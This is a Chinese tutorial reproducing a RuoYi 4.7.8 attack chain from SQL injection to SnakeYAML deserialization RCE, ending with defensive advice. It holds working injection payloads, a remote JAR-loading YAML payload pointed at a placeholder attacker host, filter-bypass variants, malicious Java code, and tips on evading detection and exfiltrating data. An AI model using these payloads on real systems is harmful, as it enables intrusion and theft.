1. 项目概述一次从SQL注入到命令执行的完整攻击链剖析最近在复现和分析若依RuoYi后台管理系统的历史漏洞时我重点关注了4.7.8版本中一个非常经典的漏洞链。这个案例之所以值得深入探讨是因为它完美地展示了在真实企业级应用中一个看似普通的SQL注入点如何与系统其他功能模块如计划任务的设计缺陷相结合最终演变成一条可直接获取服务器控制权RCE的完整攻击路径。对于从事安全研究、渗透测试或企业安全建设的同行来说理解这种漏洞链的成因、利用手法和防御思路远比孤立地看一个单一漏洞更有价值。简单来说这个漏洞链的核心在于攻击者首先利用后台某个功能点存在的SQL注入漏洞获取到后台管理员账户的登录凭证如Session或密码哈希。在成功进入后台后再利用系统“计划任务”功能对调用目标字符串校验不严的缺陷构造特殊的YAML Payload触发SnakeYAML库的反序列化漏洞从而远程加载并执行恶意Java代码最终在服务器上实现任意命令执行。整个过程环环相扣从数据层数据库一直打到执行层操作系统命令危害性极大。接下来我将结合自己的复现过程详细拆解每一个环节的技术细节、利用要点和背后的原理。2. 环境搭建与漏洞背景梳理在开始动手之前搭建一个与漏洞匹配的测试环境是第一步也是最容易踩坑的一步。很多朋友在复现时失败问题往往就出在环境上。2.1 靶场环境精准构建根据漏洞影响范围我们需要搭建的是若依RuoYi4.7.8版本。这里有一个关键点官方Git仓库的版本标签Tag可能并不完全对应发布的版本号直接克隆主分支可能无法获得准确的漏洞代码。我推荐的方法是去其Gitee仓库的发行版Releases页面寻找历史版本进行下载。对于4.7.8你需要确认其核心代码库ruoyi-admin以及依赖的ruoyi-framework等模块的版本号均对应4.7.8。数据库选型与初始化若依官方推荐使用MySQL 5.7或8.0。这里我强烈建议使用MySQL 8.0原因有两点一是MySQL 8.0在性能和安全性上更优二是某些旧版本如5.5在执行若依自带的初始化SQL脚本时可能会遇到语法兼容性问题。将下载的源码包解压后在/sql目录下通常会找到ry_xxxx.sql表结构和ry_xxxx_data.sql初始数据两个文件。务必按顺序先执行结构文件再执行数据文件。配置文件修改这是连接数据库的关键。找到ruoyi-admin模块下的resources目录中的application-druid.yml文件旧版本可能是application.yml中的数据库配置部分。你需要修改以下配置项spring: datasource: druid: driver-class-name: com.mysql.cj.jdbc.Driver url: jdbc:mysql://localhost:3306/ry?useUnicodetruecharacterEncodingutf8zeroDateTimeBehaviorconvertToNulluseSSLtrueserverTimezoneGMT%2B8 username: root # 改为你的数据库用户名 password: your_password # 改为你的数据库密码注意serverTimezone参数对于避免时区导致的连接错误非常重要请根据你的服务器所在地进行设置如Asia/Shanghai。启动与验证使用IDE如IntelliJ IDEA导入Maven项目等待依赖下载完成后直接运行RuoYiApplication主类。看到控制台打印出若依的Logo和启动端口默认8080后访问http://localhost:8080。使用默认账号admin和密码admin123登录后台管理系统。成功登录即表示基础环境搭建完成。2.2 漏洞链背景与影响分析为什么这个漏洞链在若依的历史上如此突出我们需要从若依框架的架构和这两个漏洞的特性来分析。若依作为一个快速开发平台其后台管理系统集成了大量企业级功能如用户管理、角色权限、系统监控以及计划任务Quartz。计划任务功能允许管理员在后台动态地添加、修改和触发定时执行的作业这本身是一个强大的特性。然而在4.7.8及之前的某些版本中该功能在实现上存在两处严重缺陷入口点SQL注入后台的某些数据查询接口如角色管理、部门管理的列表或导出功能对用户输入的参数过滤不严直接将参数拼接到了SQL语句中。攻击者无需知道后台账号密码通过构造特殊的请求即可利用此注入点窃取数据库信息其中最关键的便是管理员用户的密码哈希MD5加密或Session标识。计划任务反序列化RCE后台的计划任务功能在设置任务的“调用目标字符串”invokeTarget时本应严格限定可调用的类和方法。但早期版本为了灵活性使用了类似Java反射的机制并且支持通过YAML格式配置复杂的调用链。更致命的是它使用了存在反序列化漏洞的SnakeYAML库版本。当攻击者能够控制invokeTarget参数的内容时就可以注入恶意的YAML Payload触发SnakeYAML的反序列化过程从而加载远程的恶意Java类并执行。这两个漏洞单独来看SQL注入需要进入后台才能利用但可以通过注入绕过登录而计划任务RCE又需要后台权限。但当它们结合在一起时就形成了一条“前台/旁注注入获取后台权限 - 利用后台功能实现RCE”的完美攻击链。影响版本覆盖了RuoYi 4.6.2计划任务RCE以及存在相应SQL注入点的版本危害等级可直接定义为“严重”。3. 第一阶段漏洞利用SQL注入获取后台访问权我们首先复现第一个环节如何通过SQL注入在不知道密码的情况下进入后台。这里我以最常见的“角色管理列表查询”接口注入为例。3.1 漏洞点定位与请求分析登录后台后进入“系统管理” - “角色管理”页面。打开浏览器开发者工具F12的“网络”Network选项卡并保持“保留日志”Preserve log。点击查询或刷新页面你会看到浏览器向服务器发送了一个POST请求地址通常是/system/role/list。查看这个请求的载荷Payload你会发现它传递了多个参数例如pageSize,pageNum,roleName,roleKey,status等。关键在于一个名为params[dataScope]的参数。在若依的权限设计中dataScope用于控制数据权限范围如仅本人、本部门等其值会直接用于构建SQL查询语句的WHERE条件部分。在漏洞版本中这个参数的值未经充分过滤就被拼接进了SQL语句。原始的、无害的请求载荷可能如下pageSize10pageNum1orderByColumnisAscroleNameroleKeystatusparams[beginTime]params[endTime]params[dataScope]3.2 注入Payload构造与信息提取我们的目标是将恶意的SQL代码注入到params[dataScope]参数中。由于后端使用的是MyBatis框架且大概率是使用$进行参数拼接而非预编译的#这为我们提供了注入的可能。基础信息探测Payloadparams[dataScope] AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--这个Payload使用SLEEP(5)函数如果服务器响应延迟了大约5秒则说明该参数存在基于时间的盲注漏洞。这是最稳妥的初步验证方式。利用报错注入提取数据 确认存在注入后我们可以使用报错注入来快速提取信息。MySQL的extractvalue()或updatexml()函数在参数错误时会返回包含查询结果的报错信息。params[dataScope] AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e))--这个Payload会尝试执行EXTRACTVALUE(1, ~database_name~)。由于第一个参数是数字1而非XML文档函数会报错但报错信息中会包含我们拼接进去的查询结果即当前数据库名。发送请求后查看服务器返回的响应你很可能在错误信息中看到~ry~这样的内容其中ry就是数据库名。获取关键的管理员凭证 我们的最终目标是登录后台。若依默认的用户表是sys_user密码字段password存储的是MD5加密后的值。我们可以构造Payload来获取管理员通常是admin的密码哈希。params[dataScope] AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM sys_user WHERE user_nameadmin LIMIT 1), 0x7e))--执行后如果成功响应报错信息中会包含类似~e10adc3949ba59abbe56e057f20f883e~的字符串这就是admin123的MD5值。实操心得在实际测试中可能会因为报错信息长度限制extractvalue和updatexml函数最多返回32位长度而无法获取完整数据。对于较长的数据如多个用户的信息需要结合substring()函数进行分段截取。例如...CONCAT(0x7e, SUBSTRING((SELECT GROUP_CONCAT(user_name,:,password) FROM sys_user), 1, 30), 0x7e)...然后不断调整起始位置来获取全部数据。3.3 利用凭证进入后台拿到密码哈希后有几种方式进入后台直接破解MD5如果密码强度不高如默认的admin123可以通过在线MD5解密网站或本地彩虹表快速破解得到明文密码后直接登录。Session注入/窃取除了密码有时通过注入也可以直接查询到当前有效的Session ID。如果能获取到管理员的JSESSIONID可以直接将其替换到浏览器的Cookie中无需密码即可登录。你可以尝试注入查询sys_user_online表或相关的Session存储表。密码修改如果表结构允许甚至可以构造更复杂的注入语句直接更新admin的密码为一个已知的MD5值如123456的MD5然后用自己的密码登录。通过以上任何一种方式我们最终的目标都是获得一个有效的、拥有后台管理权限的会话Session。至此第一阶段攻击完成我们成功从外部攻击者变成了一个“内部用户”。4. 第二阶段漏洞核心计划任务功能反序列化RCE详解进入后台后我们来到了更具威力的第二阶段利用计划任务功能实现远程代码执行。这是整个漏洞链的“高光时刻”其原理涉及Java反射、类加载机制和YAML反序列化。4.1 计划任务功能原理与缺陷分析在若依后台“系统监控” - “定时任务”页面可以添加一个新的任务。关键参数是“调用目标字符串”invokeTarget。在正常业务中这里可能会填写如ryTask.ryParams(params)这样的字符串表示调用ryTask类的ryParams方法。在漏洞版本的代码中处理这个字符串的逻辑大致如下简化伪代码// 接收到 invokeTarget 字符串例如 org.yaml.snakeyaml.Yaml.load(...) String className ... // 解析出类名 org.yaml.snakeyaml.Yaml String methodName ... // 解析出方法名 load Object[] params ... // 解析出参数列表 Class? clazz Class.forName(className); Method method clazz.getMethod(methodName, String.class); // 根据参数类型获取方法 Object result method.invoke(null, params[0]); // 静态方法调用问题一这里使用了Class.forName和Method.invoke这意味着攻击者可以调用任意类的任意静态方法。 问题二在4.7.8版本中虽然对invokeTarget的内容做了一些过滤如黑名单禁用了rmi://、ldap://、http://等协议字符串但过滤机制可以被绕过。 问题三系统引入了SnakeYAML库来处理YAML格式的配置而攻击者恰好可以传入一个YAML字符串触发SnakeYAML的反序列化功能。4.2 恶意YAML Payload构造与绕过技巧SnakeYAML在反序列化时如果遇到!!标签会尝试根据标签指示的类来构造Java对象。一个经典的利用链是触发javax.script.ScriptEngineManager的远程类加载。基础Payload构造 我们的目标是让SnakeYAML加载一个来自我们控制的服务器的恶意JAR包。Payload格式如下org.yaml.snakeyaml.Yaml.load(!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [http://YOUR_IP:PORT/yaml-payload.jar]]]])这个YAML字符串被解析后等价于执行了以下Java代码new javax.script.ScriptEngineManager( new java.net.URLClassLoader( new java.net.URL[]{new java.net.URL(http://YOUR_IP:PORT/yaml-payload.jar)} ) );ScriptEngineManager在初始化时会尝试从传入的ClassLoader即我们的URLClassLoader中查找并实例化所有ScriptEngineFactory实现类。这为我们执行恶意代码提供了入口。绕过黑名单过滤 在4.7.8版本中若依可能对invokeTarget中的http、https、rmi、ldap等协议字符串进行了简单的关键词匹配并拦截。一个有效的绕过技巧是使用单引号分割协议字符串org.yaml.snakeyaml.Yaml.load(!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [http://YOUR_IP:PORT/yaml-payload.jar]]]])或者使用大小写混淆、双写等方式org.yaml.snakeyaml.Yaml.load(!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [HtTp://YOUR_IP:PORT/yaml-payload.jar]]]])后端简单的字符串匹配逻辑很可能无法有效拦截这些变体。4.3 恶意JAR包的制作与托管现在我们需要制作一个包含恶意ScriptEngineFactory实现的JAR包。下载Payload模板从GitHub获取经典的yaml-payload项目注意安全请在隔离环境操作。修改恶意代码打开src/artsploit/AwesomeScriptEngineFactory.java。关键在getEngineName()或构造函数中植入执行命令的代码。public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { // 执行系统命令例如弹出计算器Windows或创建文件 Runtime.getRuntime().exec(calc.exe); // 或者更隐蔽的如执行PowerShell/Bash命令 // Runtime.getRuntime().exec(new String[]{cmd, /c, echo hacked C:\\test.txt}); } catch (IOException e) { e.printStackTrace(); } } // ... 其他必须实现的方法可以留空或返回默认值 }编译与打包javac -cp . src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .确保编译环境为Java 8以兼容目标服务器环境。托管JAR包在攻击机上使用Python快速启动一个HTTP服务端口需与Payload中的一致。python3 -m http.server 88884.4 漏洞触发与命令执行回到若依后台的“定时任务”添加页面任务名称任意填写如test。调用目标字符串粘贴我们构造好的、包含绕过技巧的完整Payload。Cron表达式填写一个短期内的执行时间例如0/30 * * * * ?表示每30秒执行一次。也可以先设置为一个未来的时间等所有配置确认无误后再手动“执行一次”进行触发。其他参数保持默认即可。点击“提交”保存任务。然后找到刚创建的任务点击“执行一次”。此时若依后台会尝试解析并执行我们的invokeTarget。观察结果查看你的Python HTTP服务器日志应该能看到一个对/yaml-payload.jar的请求记录。这说明服务器成功发起了远程JAR加载。如果恶意JAR中的命令执行成功例如弹出了计算器则证明RCE漏洞利用成功。在真实攻击中攻击者可能会执行命令来反弹Shell、上传木马或进行内网探测。注意事项在实际渗透测试中直接执行calc.exe或ping这种有明显特征的命令极易被防护设备发现。应使用更隐蔽的方式如编码后的命令、无文件落地执行技术如利用Java内存马或者将执行结果通过DNS、HTTP等方式外带。同时此漏洞利用会发起外部网络连接如果目标服务器处于严格的内网环境无法出网则此利用方式会失效需要考虑其他链式利用方法。5. 漏洞链的深度利用与防御思考成功复现漏洞只是第一步更重要的是理解其深层次的利用可能性和如何从根本上进行防御。5.1 漏洞链的扩展利用场景单一的RCE可能已经满足需求但结合已获取的后台权限和系统特性我们可以做得更多权限维持通过计划任务RCE写入一个JSP或Servlet内存马获得一个持续的、更隐蔽的Webshell。由于是通过系统自身功能触发的比直接上传Webshell文件更难以被常规扫描发现。内网横向移动以应用服务器为跳板利用其所在内网的信任关系进一步攻击数据库服务器、文件服务器或其他内部系统。可以尝试从当前服务器上读取配置文件获取数据库连接密码、Redis密码等敏感信息。数据窃取与破坏直接通过数据库连接执行命令或导出数据。在已获得后台权限的情况下可能可以直接访问系统的“数据监控”或“SQL监控”功能甚至通过计划任务执行数据库备份命令将数据打包外传。结合其他漏洞若依历史上还存在任意文件读取/下载漏洞。在获得RCE能力后可以轻松读取服务器上的敏感配置文件如/etc/shadow、~/.ssh/id_rsa为后续攻击提供更多弹药。5.2 从根源上防御此类漏洞链对于开发者和运维人员如何避免自己的系统成为下一个受害者输入校验与过滤SQL注入根本解决方案是使用预编译语句PreparedStatement和参数化查询严格避免将用户输入直接拼接到SQL语句中。MyBatis中务必使用#{}而非${}。如果动态SQL无法避免使用${}则必须对输入进行严格的白名单校验。命令注入/RCE对“调用目标字符串”这类参数应建立严格的白名单机制。只允许调用预先定义好的、安全的类和方法。例如可以维护一个MapString, Class将任务别名映射到安全的业务类而不是允许传入任意类名。最小权限原则运行若依应用的操作系统账户不应具有过高权限如root。应使用专门的、低权限的用户来运行Tomcat或Java应用。在数据库中为应用分配的用户应只拥有其必需的最小权限SELECT, INSERT, UPDATE, DELETE on specific tables切忌使用root或具有FILE_PRIV,PROCESS等危险权限的账户。依赖库安全管理定期使用Maven Dependency Check、OWASP Dependency-Check等工具扫描项目依赖及时将存在已知漏洞的组件如存在反序列化漏洞的SnakeYAML、Fastjson等升级到安全版本。若依官方在后续版本中修复了此漏洞核心就是升级了SnakeYAML版本并加强了对invokeTarget的校验。因此持续关注官方安全更新并及时升级是重中之重。运行时防护与监控部署WAFWeb应用防火墙配置规则拦截常见的SQL注入、命令注入攻击Payload。在服务器上安装HIDS主机入侵检测系统监控异常进程创建如突然启动cmd.exe,bash,powershell、对外网络连接特别是到异常IP/端口的HTTP、LDAP连接等行为。对应用日志进行集中收集和分析监控如“计划任务”接口的频繁调用、执行失败日志中的异常类名等。5.3 复现过程中的常见问题与排查在复现这条漏洞链时你可能会遇到以下问题问题现象可能原因排查与解决思路SQL注入Payload无回显1. 注入点不存在或已修复。2. 参数名错误如不是params[dataScope]。3. 存在WAF或过滤。1. 确认若依版本是否为存在漏洞的版本。2. 使用Burp Suite拦截所有请求尝试在其他参数或接口如/system/dept/list,/system/role/export进行注入测试。3. 尝试使用更隐蔽的Payload如双写、编码绕过。计划任务添加后不执行1. Cron表达式格式错误。2. 任务状态为“暂停”。3. Quartz调度器未正常启动或配置有误。1. 使用在线Cron表达式生成器检查格式。2. 在任务列表确认任务状态是否为“正常”。3. 查看应用日志搜索“Quartz”或“Scheduler”相关错误。远程JAR加载成功但命令未执行1. 恶意JAR中的类未正确实现ScriptEngineFactory接口。2. 服务器Java安全策略限制。3. 命令本身执行失败路径错误、权限不足。1. 检查编译的Java版本是否与目标服务器兼容建议Java 8。2. 在恶意JAR的构造函数中加入日志输出到文件确认类是否被加载和实例化。3. 尝试执行一个绝对路径的、简单的命令如touch /tmp/test123。触发计划任务后服务器对外请求失败1. 服务器无法访问攻击机IP网络隔离。2. 服务器防火墙出站规则限制。1. 确保攻击机IP和端口在目标服务器网络可达。2. 尝试使用DNSLog等技术验证出网情况或考虑使用内网兼容的利用方式。这条从SQL注入到RCE的漏洞链清晰地展示了安全防御中“木桶效应”的残酷性——只要有一个短板被击破整个系统就可能沦陷。对于攻击者它提供了教科书般的纵向渗透思路对于防御者它则是一次深刻的警示安全是一个整体需要从代码开发、依赖管理、权限配置、运行时监控等多个层面构建纵深防御体系。在复现和学习此类漏洞时务必在合法授权的环境中进行并将重点放在理解原理和提升防御能力上。